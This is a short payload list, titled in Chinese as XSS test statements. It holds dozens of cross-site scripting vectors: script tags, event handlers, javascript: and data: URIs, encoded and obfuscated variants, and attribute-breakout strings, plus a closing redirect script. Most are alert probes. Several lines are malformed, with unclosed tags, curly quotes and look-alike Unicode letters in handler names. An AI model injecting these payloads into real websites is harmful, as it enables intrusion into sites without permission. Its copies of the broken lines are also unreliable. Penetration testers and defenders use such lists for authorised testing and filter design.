xss测试语句

<script>alert(navigator.userAgent)<script>
<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<script>+alert(1)</script>
<script>alert(/1/)</script>
<script src=data:text/javascript,alert(1)></script>
<script src=&#100&#97&#116&#97:text/javascript,alert(1)></script>
<script>alert(String.fromCharCode(49,49))</script>
<script>alert(/1/.source)</script>
<script>setTimeout(alert(1),0)</script>
<script>document['write'](1);</script>
<anytag οnmοuseοver=alert(15)>M
<anytag οnclick=alert(16)>M
<a οnmοuseοver=alert(17)>M
<a οnclick=alert(18)>M
<a href=javascript:alert(19)>M
<button/οnclick=alert(20)>M
formaction=javascript&colon;alert(21)>M
<form/action=javascript:alert(22)><input/type=submit>
<form οnsubmit=alert(23)><button>M
<form οnsubmit=alert(23)><button>M
<img src=x οnerrοr=alert(24)> 29
<body/οnlοad=alert(25)>
οnscrοll=alert(26)><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<input autofocus>
<iframe/οnlοad=alert(document.domain)></iframe>
<IFRAME SRC="javascript:alert(29);"></IFRAME>
<meta http-equiv="refresh" content="0;
url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2830%29%3C%2%73%63%72%69%70%74%3E">
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>
<object data="javascript:alert(document.domain)">
<marquee onstart=alert(30)></marquee>
<isindex type=image src=1 οnerrοr=alert(31)>
<isindex action=javascript:alert(32) type=image>
<input οnfοcus=alert(33) autofocus>
<input οnblur=alert(34) autofocus><input autofocus>

<ImG/sRc/OnErRoR=alert(document.domain)>
<img src="vbscript:msgbox(1)">
<script>alert('xss')</script>
<img src=x οnerrοr=alert(1)>
<img src =“javascrip&#116&#58alert(/xss/);">
<img src =“javascript:alert(/xss/);">
</style><img src=1 οnerrοr=alert(1)>

aaaaaaa%27*alert(1)*%27
"空格autofocus οnfοcus=alert`1`空格
"空格autofocus οnblur=alert`1`空格
"alert`666`"插入到图片后面

<script LANGUAGE="Javascript">
　　location.href="www.baidu.com";
　　</script>